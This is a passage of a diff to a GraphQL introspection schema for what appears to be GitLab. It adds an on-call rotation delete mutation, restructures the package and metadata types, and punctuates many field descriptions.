null, "args": [ @@ -45302,6 +48628,33 @@ "deprecationReason": null }, { + "name": "oncallRotationDestroy", + "description": null, + "args": [ + { + "name": "input", + "description": null, + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "INPUT_OBJECT", + "name": "OncallRotationDestroyInput", + "ofType": null + } + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "OncallRotationDestroyPayload", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "oncallScheduleCreate", "description": null, "args": [ @@ -46193,33 +49546,6 @@ "deprecationReason": null }, { - "name": "updateDevopsAdoptionSegment", - "description": null, - "args": [ - { - "name": "input", - "description": null, - "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "INPUT_OBJECT", - "name": "UpdateDevopsAdoptionSegmentInput", - "ofType": null - } - }, - "defaultValue": null - } - ], - "type": { - "kind": "OBJECT", - "name": "UpdateDevopsAdoptionSegmentPayload", - "ofType": null - }, - "isDeprecated": false, - "deprecationReason": null - }, - { "name": "updateEpic", "description": null, "args": [ @@ -46641,7 +49967,7 @@ "fields": [ { "name": "actualRepositorySizeLimit", - "description": "Size limit for repositories in the namespace in bytes", + "description": "Size limit for repositories in the namespace in bytes.", "args": [ ], @@ -46655,7 +49981,7 @@ }, { "name": "additionalPurchasedStorageSize", - "description": "Additional storage purchased for the root namespace in bytes", + "description": "Additional storage purchased for the root namespace in bytes.", "args": [ ], @@ -46732,7 +50058,7 @@ }, { "name": "containsLockedProjects", - "description": "Includes at least one project where the repository size exceeds the limit", + "description": "Includes at least one project where the repository size exceeds the limit.", "args": [ ], @@ -46750,7 +50076,7 @@ }, { "name": "description", - "description": "Description of the namespace", + "description": "Description of the namespace.", "args": [ ], @@ -46778,7 +50104,7 @@ }, { "name": "fullName", - "description": "Full name of the namespace", + "description": "Full name of the namespace.", "args": [ ], @@ -46796,7 +50122,7 @@ }, { "name": "fullPath", - "description": "Full path of the namespace", + "description": "Full path of the namespace.", "args": [ ], @@ -46814,7 +50140,7 @@ }, { "name": "id", - "description": "ID of the namespace", + "description": "ID of the namespace.", "args": [ ], @@ -46832,7 +50158,7 @@ }, { "name": "isTemporaryStorageIncreaseEnabled", - "description": "Status of the temporary storage increase", + "description": "Status of the temporary storage increase.", "args": [ ], @@ -46850,7 +50176,7 @@ }, { "name": "lfsEnabled", - "description": "Indicates if Large File Storage (LFS) is enabled for namespace", + "description": "Indicates if Large File Storage (LFS) is enabled for namespace.", "args": [ ], @@ -46864,7 +50190,7 @@ }, { "name": "name", - "description": "Name of the namespace", + "description": "Name of the namespace.", "args": [ ], @@ -46882,7 +50208,7 @@ }, { "name": "packageSettings", - "description": "The package settings for the namespace", + "description": "The package settings for the namespace.", "args": [ ], @@ -46896,7 +50222,7 @@ }, { "name": "path", - "description": "Path of the namespace", + "description": "Path of the namespace.", "args": [ ], @@ -46914,7 +50240,7 @@ }, { "name": "projects", - "description": "Projects within this namespace", + "description": "Projects within this namespace.", "args": [ { "name": "includeSubgroups", @@ -47011,7 +50337,7 @@ }, { "name": "repositorySizeExcessProjectCount", - "description": "Number of projects in the root namespace where the repository size exceeds the limit", + "description": "Number of projects in the root namespace where the repository size exceeds the limit.", "args": [ ], @@ -47029,7 +50355,7 @@ }, { "name": "requestAccessEnabled", - "description": "Indicates if users can request access to namespace", + "description": "Indicates if users can request access to namespace.", "args": [ ], @@ -47043,7 +50369,7 @@ }, { "name": "rootStorageStatistics", - "description": "Aggregated storage statistics of the namespace. Only available for root namespaces", + "description": "Aggregated storage statistics of the namespace. Only available for root namespaces.", "args": [ ], @@ -47057,7 +50383,7 @@ }, { "name": "storageSizeLimit", - "description": "Total storage limit of the root namespace in bytes", + "description": "Total storage limit of the root namespace in bytes.", "args": [ ], @@ -47071,7 +50397,7 @@ }, { "name": "temporaryStorageIncreaseEndsOn", - "description": "Date until the temporary storage increase is active", + "description": "Date until the temporary storage increase is active.", "args": [ ], @@ -47085,7 +50411,7 @@ }, { "name": "totalRepositorySize", - "description": "Total repository size of all projects in the root namespace in bytes", + "description": "Total repository size of all projects in the root namespace in bytes.", "args": [ ], @@ -47099,7 +50425,7 @@ }, { "name": "totalRepositorySizeExcess", - "description": "Total excess repository size of all projects in the root namespace in bytes", + "description": "Total excess repository size of all projects in the root namespace in bytes.", "args": [ ], @@ -47113,7 +50439,7 @@ }, { "name": "visibility", - "description": "Visibility of the namespace", + "description": "Visibility of the namespace.", "args": [ ], @@ -47248,7 +50574,7 @@ { "kind": "SCALAR", "name": "NamespaceID", - "description": "Identifier of Namespace", + "description": "Identifier of Namespace.", "fields": null, "inputFields": null, "interfaces": null, @@ -47388,7 +50714,7 @@ "inputFields": [ { "name": "labelName", - "description": "Filter by label name", + "description": "Filter by label name.", "type": { "kind": "LIST", "name": null, @@ -47402,7 +50728,7 @@ }, { "name": "milestoneTitle", - "description": "Filter by milestone title", + "description": "Filter by milestone title.", "type": { "kind": "SCALAR", "name": "String", @@ -47412,7 +50738,7 @@ }, { "name": "assigneeUsername", - "description": "Filter by assignee username", + "description": "Filter by assignee username.", "type": { "kind": "LIST", "name": null, @@ -47426,7 +50752,7 @@ }, { "name": "authorUsername", - "description": "Filter by author username", + "description": "Filter by author username.", "type": { "kind": "SCALAR", "name": "String", @@ -47436,7 +50762,7 @@ }, { "name": "releaseTag", - "description": "Filter by release tag", + "description": "Filter by release tag.", "type": { "kind": "SCALAR", "name": "String", @@ -47446,7 +50772,7 @@ }, { "name": "myReactionEmoji", - "description": "Filter by reaction emoji", + "description": "Filter by reaction emoji.", "type": { "kind": "SCALAR", "name": "String", @@ -47456,7 +50782,7 @@ }, { "name": "epicId", - "description": "Filter by epic ID. Incompatible with epicWildcardId", + "description": "Filter by epic ID. Incompatible with epicWildcardId.", "type": { "kind": "SCALAR", "name": "EpicID", @@ -47466,7 +50792,7 @@ }, { "name": "iterationTitle", - "description": "Filter by iteration title", + "description": "Filter by iteration title.", "type": { "kind": "SCALAR", "name": "String", @@ -47476,7 +50802,7 @@ }, { "name": "weight", - "description": "Filter by weight", + "description": "Filter by weight.", "type": { "kind": "SCALAR", "name": "String", @@ -47496,7 +50822,7 @@ "fields": [ { "name": "author", - "description": "User who wrote this note", + "description": "User who wrote this note.", "args": [ ], @@ -47514,7 +50840,7 @@ }, { "name": "body", - "description": "Content of the note", + "description": "Content of the note.", "args": [ ], @@ -47546,7 +50872,7 @@ }, { "name": "confidential", - "description": "Indicates if this note is confidential", + "description": "Indicates if this note is confidential.", "args": [ ], @@ -47560,7 +50886,7 @@ }, { "name": "createdAt", - "description": "Timestamp of the note creation", + "description": "Timestamp of the note creation.", "args": [ ], @@ -47578,7 +50904,7 @@ }, { "name": "discussion", - "description": "The discussion this note is a part of", + "description": "The discussion this note is a part of.", "args": [ ], @@ -47592,7 +50918,7 @@ }, { "name": "id", - "description": "ID of the note", + "description": "ID of the note.", "args": [ ], @@ -47601,7 +50927,7 @@ "name": null, "ofType": { "kind": "SCALAR", - "name": "ID", + "name": "NoteID", "ofType": null } }, @@ -47610,7 +50936,7 @@ }, { "name": "position", - "description": "The position of this note on a diff", + "description": "The position of this note on a diff.", "args": [ ], @@ -47624,7 +50950,7 @@ }, { "name": "project", - "description": "Project associated with the note", + "description": "Project associated with the note.", "args": [ ], @@ -47638,7 +50964,7 @@ }, { "name": "resolvable", - "description": "Indicates if the object can be resolved", + "description": "Indicates if the object can be resolved.", "args": [ ], @@ -47656,7 +50982,7 @@ }, { "name": "resolved", - "description": "Indicates if the object is resolved", + "description": "Indicates if the object is resolved.", "args": [ ], @@ -47674,7 +51000,7 @@ }, { "name": "resolvedAt", - "description": "Timestamp of when the object was resolved", + "description": "Timestamp of when the object was resolved.", "args": [ ], @@ -47688,7 +51014,7 @@ }, { "name": "resolvedBy", - "description": "User who resolved the object", + "description": "User who resolved the object.", "args": [ ], @@ -47702,7 +51028,7 @@ }, { "name": "system", - "description": "Indicates whether this note was created by the system or by a user", + "description": "Indicates whether this note was created by the system or by a user.", "args": [ ], @@ -47720,7 +51046,7 @@ }, { "name": "systemNoteIconName", - "description": "Name of the icon corresponding to a system note", + "description": "Name of the icon corresponding to a system note.", "args": [ ], @@ -47734,7 +51060,7 @@ }, { "name": "updatedAt", - "description": "Timestamp of the note's last activity", + "description": "Timestamp of the note's last activity.", "args": [ ], @@ -47752,7 +51078,7 @@ }, { "name": "url", - "description": "URL to view this Note in the Web UI", + "description": "URL to view this Note in the Web UI.", "args": [ ], @@ -47909,7 +51235,7 @@ { "kind": "SCALAR", "name": "NoteID", - "description": "Identifier of Note", + "description": "Identifier of Note.", "fields": null, "inputFields": null, "interfaces": null, @@ -48044,7 +51370,7 @@ "fields": [ { "name": "discussions", - "description": "All discussions on this noteable", + "description": "All discussions on this noteable.", "args": [ { "name": "after", @@ -48101,7 +51427,7 @@ }, { "name": "notes", - "description": "All notes on this noteable", + "description": "All notes on this noteable.", "args": [ { "name": "after", @@ -48211,7 +51537,7 @@ { "kind": "SCALAR", "name": "NoteableID", - "description": "Identifier of Noteable", + "description": "Identifier of Noteable.", "fields": null, "inputFields": null, "interfaces": null, @@ -48628,6 +51954,136 @@ }, { "kind": "INPUT_OBJECT", + "name": "OncallRotationDestroyInput", + "description": "Autogenerated input type of OncallRotationDestroy", + "fields": null, + "inputFields": [ + { + "name": "projectPath", + "description": "The project to remove the on-call schedule from.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "scheduleIid", + "description": "The IID of the on-call schedule to the on-call rotation belongs to.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "id", + "description": "The ID of the on-call rotation to remove.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "IncidentManagementOncallRotationID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "OncallRotationDestroyPayload", + "description": "Autogenerated return type of OncallRotationDestroy", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "oncallRotation", + "description": "The on-call rotation.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "IncidentManagementOncallRotation", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", "name": "OncallRotationLengthInputType", "description": "The rotation length of the on-call rotation", "fields": null, @@ -49148,7 +52604,7 @@ "fields": [ { "name": "createdAt", - "description": "The created date.", + "description": "Date of creation.", "args": [ ], @@ -49166,7 +52622,7 @@ }, { "name": "id", - "description": "The ID of the package.", + "description": "ID of the package.", "args": [ ], @@ -49175,7 +52631,7 @@ "name": null, "ofType": { "kind": "SCALAR", - "name": "ID", + "name": "PackagesPackageID", "ofType": null } }, @@ -49183,320 +52639,22 @@ "deprecationReason": null }, { - "name": "name", - "description": "The name of the package.", - "args": [ - - ], - "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "SCALAR", - "name": "String", - "ofType": null - } - }, - "isDeprecated": false, - "deprecationReason": null - }, - { - "name": "packageType", - "description": "The type of the package.", - "args": [ - - ], - "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "ENUM", - "name": "PackageTypeEnum", - "ofType": null - } - }, - "isDeprecated": false, - "deprecationReason": null - }, - { - "name": "pipelines", - "description": "Pipelines that built the package.", - "args": [ - { - "name": "after", - "description": "Returns the elements in the list that come after the specified cursor.", - "type": { - "kind": "SCALAR", - "name": "String", - "ofType": null - }, - "defaultValue": null - }, - { - "name": "before", - "description": "Returns the elements in the list that come before the specified cursor.", - "type": { - "kind": "SCALAR", - "name": "String", - "ofType": null - }, - "defaultValue": null - }, - { - "name": "first", - "description": "Returns the first _n_ elements from the list.", - "type": { - "kind": "SCALAR", - "name": "Int", - "ofType": null - }, - "defaultValue": null - }, - { - "name": "last", - "description": "Returns the last _n_ elements from the list.", - "type": { - "kind": "SCALAR", - "name": "Int", - "ofType": null - }, - "defaultValue": null - } - ], - "type": { - "kind": "OBJECT", - "name": "PipelineConnection", - "ofType": null - }, - "isDeprecated": false, - "deprecationReason": null - }, - { - "name": "project", - "description": "Project where the package is stored.", - "args": [ - - ], - "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "OBJECT", - "name": "Project", - "ofType": null - } - }, - "isDeprecated": false, - "deprecationReason": null - }, - { - "name": "tags", - "description": "The package tags.", - "args": [ - { - "name": "after", - "description": "Returns the elements in the list that come after the specified cursor.", - "type": { - "kind": "SCALAR", - "name": "String", - "ofType": null - }, - "defaultValue": null - }, - { - "name": "before", - "description": "Returns the elements in the list that come before the specified cursor.", - "type": { - "kind": "SCALAR", - "name": "String", - "ofType": null - }, - "defaultValue": null - }, - { - "name": "first", - "description": "Returns the first _n_ elements from the list.", - "type": { - "kind": "SCALAR", - "name": "Int", - "ofType": null - }, - "defaultValue": null - }, - { - "name": "last", - "description": "Returns the last _n_ elements from the list.", - "type": { - "kind": "SCALAR", - "name": "Int", - "ofType": null - }, - "defaultValue": null - } - ], - "type": { - "kind": "OBJECT", - "name": "PackageTagConnection", - "ofType": null - }, - "isDeprecated": false, - "deprecationReason": null - }, - { - "name": "updatedAt", - "description": "The updated date.", - "args": [ - - ], - "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "SCALAR", - "name": "Time", - "ofType": null - } - }, - "isDeprecated": false, - "deprecationReason": null - }, - { - "name": "version", - "description": "The version of the package.", + "name": "metadata", + "description": "Package metadata.", "args": [ ], "type": { - "kind": "SCALAR", - "name": "String", - "ofType": null - }, - "isDeprecated": false, - "deprecationReason": null - }, - { - "name": "versions", - "description": "The other versions of the package.", - "args": [ - { - "name": "after", - "description": "Returns the elements in the list that come after the specified cursor.", - "type": { - "kind": "SCALAR", - "name": "String", - "ofType": null - }, - "defaultValue": null - }, - { - "name": "before", - "description": "Returns the elements in the list that come before the specified cursor.", - "type": { - "kind": "SCALAR", - "name": "String", - "ofType": null - }, - "defaultValue": null - }, - { - "name": "first", - "description": "Returns the first _n_ elements from the list.", - "type": { - "kind": "SCALAR", - "name": "Int", - "ofType": null - }, - "defaultValue": null - }, - { - "name": "last", - "description": "Returns the last _n_ elements from the list.", - "type": { - "kind": "SCALAR", - "name": "Int", - "ofType": null - }, - "defaultValue": null - } - ], - "type": { - "kind": "OBJECT", - "name": "PackageConnection", + "kind": "UNION", + "name": "PackageMetadata", "ofType": null }, "isDeprecated": false, "deprecationReason": null - } - ], - "inputFields": null, - "interfaces": [ - - ], - "enumValues": null, - "possibleTypes": null - }, - { - "kind": "OBJECT", - "name": "PackageComposerDetails", - "description": "Details of a Composer package", - "fields": [ - { - "name": "composerMetadatum", - "description": "The Composer metadatum.", - "args": [ - - ], - "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "OBJECT", - "name": "PackageComposerMetadatumType", - "ofType": null - } - }, - "isDeprecated": false, - "deprecationReason": null - }, - { - "name": "createdAt", - "description": "The created date.", - "args": [ - - ], - "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "SCALAR", - "name": "Time", - "ofType": null - } - }, - "isDeprecated": false, - "deprecationReason": null - }, - { - "name": "id", - "description": "The ID of the package.", - "args": [ - - ], - "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "SCALAR", - "name": "ID", - "ofType": null - } - }, - "isDeprecated": false, - "deprecationReason": null }, { "name": "name", - "description": "The name of the package.", + "description": "Name of the package.", "args": [ ], @@ -49514,7 +52672,7 @@ }, { "name": "packageType", - "description": "The type of the package.", + "description": "Package type.", "args": [ ], @@ -49603,7 +52761,7 @@ }, { "name": "tags", - "description": "The package tags.", + "description": "Package tags.", "args": [ { "name": "after", @@ -49656,7 +52814,7 @@ }, { "name": "updatedAt", - "description": "The updated date.", + "description": "Date of most recent update.", "args": [ ], @@ -49674,7 +52832,7 @@ }, { "name": "version", - "description": "The version of the package.", + "description": "Version string.", "args": [ ], @@ -49733,7 +52891,7 @@ ], "type": { "kind": "OBJECT", - "name": "PackageConnection", + "name": "PackageWithoutVersionsConnection", "ofType": null }, "isDeprecated": false, @@ -49818,55 +52976,6 @@ }, { "kind": "OBJECT", - "name": "PackageComposerMetadatumType", - "description": "Composer metadatum", - "fields": [ - { - "name": "composerJson", - "description": "Data of the Composer JSON file.", - "args": [ - - ], - "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "OBJECT", - "name": "PackageComposerJsonType", - "ofType": null - } - }, - "isDeprecated": false, - "deprecationReason": null - }, - { - "name": "targetSha", - "description": "Target SHA of the package.", - "args": [ - - ], - "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "SCALAR", - "name": "String", - "ofType": null - } - }, - "isDeprecated": false, - "deprecationReason": null - } - ], - "inputFields": null, - "interfaces": [ - - ], - "enumValues": null, - "possibleTypes": null - }, - { - "kind": "OBJECT", "name": "PackageConnection", "description": "The connection type for Package.", "fields": [ @@ -50044,7 +53153,7 @@ }, { "name": "packageFileId", - "description": "ID of the PackageFile", + "description": "ID of the PackageFile.", "args": [ ], @@ -50223,6 +53332,22 @@ "possibleTypes": null }, { + "kind": "UNION", + "name": "PackageMetadata", + "description": "Represents metadata associated with a Package", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": [ + { + "kind": "OBJECT", + "name": "ComposerMetadata", + "ofType": null + } + ] + }, + { "kind": "OBJECT", "name": "PackageSettings", "description": "Namespace-level Package Registry settings", @@ -50480,7 +53605,7 @@ }, { "name": "NPM", - "description": "Packages from the NPM package manager", + "description": "Packages from the npm package manager", "isDeprecated": false, "deprecationReason": null }, @@ -50525,14 +53650,387 @@ "description": "Packages from the Debian package manager", "isDeprecated": false, "deprecationReason": null + }, + { + "name": "RUBYGEMS", + "description": "Packages from the Rubygems package manager", + "isDeprecated": false, + "deprecationReason": null + } + ], + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "PackageWithoutVersions", + "description": "Represents a version of a package in the Package Registry", + "fields": [ + { + "name": "createdAt", + "description": "Date of creation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "id", + "description": "ID of the package.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "PackagesPackageID", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "metadata", + "description": "Package metadata.", + "args": [ + + ], + "type": { + "kind": "UNION", + "name": "PackageMetadata", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "name", + "description": "Name of the package.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "packageType", + "description": "Package type.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "PackageTypeEnum", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pipelines", + "description": "Pipelines that built the package.", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "PipelineConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "project", + "description": "Project where the package is stored.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "Project", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "tags", + "description": "Package tags.", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "PackageTagConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "updatedAt", + "description": "Date of most recent update.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "version", + "description": "Version string.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "PackageWithoutVersionsConnection", + "description": "The connection type for PackageWithoutVersions.", + "fields": [ + { + "name": "edges", + "description": "A list of edges.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PackageWithoutVersionsEdge", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "nodes", + "description": "A list of nodes.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PackageWithoutVersions", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pageInfo", + "description": "Information to aid in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PageInfo", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "PackageWithoutVersionsEdge", + "description": "An edge in a connection.", + "fields": [ + { + "name": "cursor", + "description": "A cursor for use in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "node", + "description": "The item at the end of the edge.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "PackageWithoutVersions", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null } ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, "possibleTypes": null }, { "kind": "SCALAR", "name": "PackagesPackageID", - "description": "Identifier of Packages::Package", + "description": "Identifier of Packages::Package.", "fields": null, "inputFields": null, "interfaces": null, @@ -50623,7 +54121,7 @@ "fields": [ { "name": "active", - "description": "Indicates if the pipeline is active", + "description": "Indicates if the pipeline is active.", "args": [ ], @@ -50641,7 +54139,7 @@ }, { "name": "beforeSha", - "description": "Base SHA of the source branch", + "description": "Base SHA of the source branch.", "args": [ ], @@ -50655,7 +54153,7 @@ }, { "name": "cancelable", - "description": "Specifies if a pipeline can be canceled", + "description": "Specifies if a pipeline can be canceled.", "args": [ ], @@ -50673,7 +54171,7 @@ }, { "name": "committedAt", - "description": "Timestamp of the pipeline's commit", + "description": "Timestamp of the pipeline's commit.", "args": [ ], @@ -50687,7 +54185,7 @@ }, { "name": "configSource", - "description": "Config source of the pipeline (UNKNOWN_SOURCE, REPOSITORY_SOURCE, AUTO_DEVOPS_SOURCE, WEBIDE_SOURCE, REMOTE_SOURCE, EXTERNAL_PROJECT_SOURCE, BRIDGE_SOURCE, PARAMETER_SOURCE)", + "description": "Configuration source of the pipeline (UNKNOWN_SOURCE, REPOSITORY_SOURCE, AUTO_DEVOPS_SOURCE, WEBIDE_SOURCE, REMOTE_SOURCE, EXTERNAL_PROJECT_SOURCE, BRIDGE_SOURCE, PARAMETER_SOURCE, COMPLIANCE_SOURCE)", "args": [ ], @@ -50701,7 +54199,7 @@ }, { "name": "coverage", - "description": "Coverage percentage", + "description": "Coverage percentage.", "args": [ ], @@ -50715,7 +54213,7 @@ }, { "name": "createdAt", - "description": "Timestamp of the pipeline's creation", + "description": "Timestamp of the pipeline's creation.", "args": [ ], @@ -50733,7 +54231,7 @@ }, { "name": "detailedStatus", - "description": "Detailed status of the pipeline", + "description": "Detailed status of the pipeline.", "args": [ ], @@ -50751,7 +54249,7 @@ }, { "name": "downstream", - "description": "Pipelines this pipeline will trigger", + "description": "Pipelines this pipeline will trigger.", "args": [ { "name": "after", @@ -50804,7 +54302,7 @@ }, { "name": "duration", - "description": "Duration of the pipeline in seconds", + "description": "Duration of the pipeline in seconds.", "args": [ ], @@ -50818,7 +54316,7 @@ }, { "name": "finishedAt", - "description": "Timestamp of the pipeline's completion", + "description": "Timestamp of the pipeline's completion.", "args": [ ], @@ -50832,7 +54330,7 @@ }, { "name": "id", - "description": "ID of the pipeline", + "description": "ID of the pipeline.", "args": [ ], @@ -50850,7 +54348,7 @@ }, { "name": "iid", - "description": "Internal ID of the pipeline", + "description": "Internal ID of the pipeline.", "args": [ ], @@ -50868,7 +54366,7 @@ }, { "name": "jobs", - "description": "Jobs belonging to the pipeline", + "description": "Jobs belonging to the pipeline.", "args": [ { "name": "securityReportTypes", @@ -50939,7 +54437,7 @@ }, { "name": "path", - "description": "Relative path to the pipeline's page", + "description": "Relative path to the pipeline's page.", "args": [ ], @@ -50953,7 +54451,7 @@ }, { "name": "project", - "description": "Project the pipeline belongs to", + "description": "Project the pipeline belongs to.", "args": [ ], @@ -50967,7 +54465,7 @@ }, { "name": "retryable", - "description": "Specifies if a pipeline can be retried", + "description": "Specifies if a pipeline can be retried.", "args": [ ], @@ -50985,7 +54483,7 @@ }, { "name": "securityReportSummary", - "description": "Vulnerability and scanned resource counts for each security scanner of the pipeline", + "description": "Vulnerability and scanned resource counts for each security scanner of the pipeline.", "args": [ ], @@ -50999,7 +54497,7 @@ }, { "name": "sha", - "description": "SHA of the pipeline's commit", + "description": "SHA of the pipeline's commit.", "args": [ ], @@ -51017,7 +54515,7 @@ }, { "name": "sourceJob", - "description": "Job where pipeline was triggered from", + "description": "Job where pipeline was triggered from.", "args": [ ], @@ -51031,7 +54529,7 @@ }, { "name": "stages", - "description": "Stages of the pipeline", + "description": "Stages of the pipeline.", "args": [ { "name": "after", @@ -51084,7 +54582,7 @@ }, { "name": "startedAt", - "description": "Timestamp when the pipeline was started", + "description": "Timestamp when the pipeline was started.", "args": [ ], @@ -51116,7 +54614,7 @@ }, { "name": "updatedAt", - "description": "Timestamp of the pipeline's last activity", + "description": "Timestamp of the pipeline's last activity.", "args": [ ], @@ -51134,7 +54632,7 @@ }, { "name": "upstream", - "description": "Pipeline that triggered the pipeline", + "description": "Pipeline that triggered the pipeline.", "args": [ ], @@ -51148,7 +54646,7 @@ }, { "name": "user", - "description": "Pipeline user", + "description": "Pipeline user.", "args": [ ], @@ -51177,6 +54675,24 @@ }, "isDeprecated": false, "deprecationReason": null + }, + { + "name": "warnings", + "description": "Indicates if a pipeline has warnings.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null } ], "inputFields": null, @@ -51193,7 +54709,7 @@ "fields": [ { "name": "monthPipelinesLabels", - "description": "Labels for the monthly pipeline count", + "description": "Labels for the monthly pipeline count.", "args": [ ], @@ -51215,7 +54731,7 @@ }, { "name": "monthPipelinesSuccessful", - "description": "Total monthly successful pipeline count", + "description": "Total monthly successful pipeline count.", "args": [ ], @@ -51237,7 +54753,7 @@ }, { "name": "monthPipelinesTotals", - "description": "Total monthly pipeline count", + "description": "Total monthly pipeline count.", "args": [ ], @@ -51259,7 +54775,7 @@ }, { "name": "pipelineTimesLabels", - "description": "Pipeline times labels", + "description": "Pipeline times labels.", "args": [ ], @@ -51281,7 +54797,7 @@ }, { "name": "pipelineTimesValues", - "description": "Pipeline times", + "description": "Pipeline times.", "args": [ ], @@ -51303,7 +54819,7 @@ }, { "name": "weekPipelinesLabels", - "description": "Labels for the weekly 